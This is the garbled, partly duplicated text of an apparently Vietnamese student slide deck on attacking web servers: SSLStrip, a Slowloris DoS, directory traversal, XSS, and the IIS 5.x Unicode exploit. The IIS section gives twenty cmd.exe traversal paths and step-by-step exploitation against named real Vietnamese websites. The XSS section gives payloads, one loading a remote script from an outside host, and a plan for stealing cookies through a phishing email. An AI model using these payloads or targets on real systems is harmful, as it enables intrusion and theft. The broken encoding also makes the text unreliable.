View
1.067
Download
5
Category
Preview:
DESCRIPTION
more at http://it-slideshares.blogspot.com
Citation preview
GVHDTS Phạm văn Tiacutenh Thagravenh viecircn Nguyễn Tấn Mơ Nguyễn Bigravenh Minh Nguyễn Thạch Lecirc Phuacute Duyecircn
IKhaacutei niệm web serverII Caacutec lỗi thường gặp trecircn Web serverIII Giới thiệu cocircng cụ
Web vulnerability scanner Metasploit
IVChi tiết một số lỗi XSS (Cross-Site Scripting) SSLStrip Directory Traversal Attack IIS(Internet Information Service)
VDEMO
Web Server (maacutey phục vụ Web) maacutey tiacutenh magrave trecircn đoacute cagravei đặt phần mềm phục vụ Web đocirci khi người ta cũng gọi chiacutenh phần mềm đoacute lagrave Web Server
Dos Webserver khai thaacutec caacutec lỗi trecircn web server
Tất cả caacutec Web Server đều hiểu vagrave chạy được caacutec file htm vagrave htmltuy nhiecircn một số Web server lại phục vụ cho một số file riecircng biệt
IIS của MicrosoftASPASPXApache PHPSun Java System Web Server của
SUNdagravenh cho JSP
1 XSS (Cross-Site Scripting)
2 SSLStrip3 Directory Traversal
Attack4 Web Server
Technologies5 CGI Tester6 Code execution7 Cookie manipulation8 CRLF injection9 XFS vulnerability10 Email Injection
2 File inclusion3 File tampering4 Full path disclosure5 Remote XSL inclusion6 Script source code
disclosure7 SQL injection8 URL redirection9 XPath Injection
vulnerability10 Blind SQLXPath injectionhelliphelliphellip
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
IKhaacutei niệm web serverII Caacutec lỗi thường gặp trecircn Web serverIII Giới thiệu cocircng cụ
Web vulnerability scanner Metasploit
IVChi tiết một số lỗi XSS (Cross-Site Scripting) SSLStrip Directory Traversal Attack IIS(Internet Information Service)
VDEMO
Web Server (maacutey phục vụ Web) maacutey tiacutenh magrave trecircn đoacute cagravei đặt phần mềm phục vụ Web đocirci khi người ta cũng gọi chiacutenh phần mềm đoacute lagrave Web Server
Dos Webserver khai thaacutec caacutec lỗi trecircn web server
Tất cả caacutec Web Server đều hiểu vagrave chạy được caacutec file htm vagrave htmltuy nhiecircn một số Web server lại phục vụ cho một số file riecircng biệt
IIS của MicrosoftASPASPXApache PHPSun Java System Web Server của
SUNdagravenh cho JSP
1 XSS (Cross-Site Scripting)
2 SSLStrip3 Directory Traversal
Attack4 Web Server
Technologies5 CGI Tester6 Code execution7 Cookie manipulation8 CRLF injection9 XFS vulnerability10 Email Injection
2 File inclusion3 File tampering4 Full path disclosure5 Remote XSL inclusion6 Script source code
disclosure7 SQL injection8 URL redirection9 XPath Injection
vulnerability10 Blind SQLXPath injectionhelliphelliphellip
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
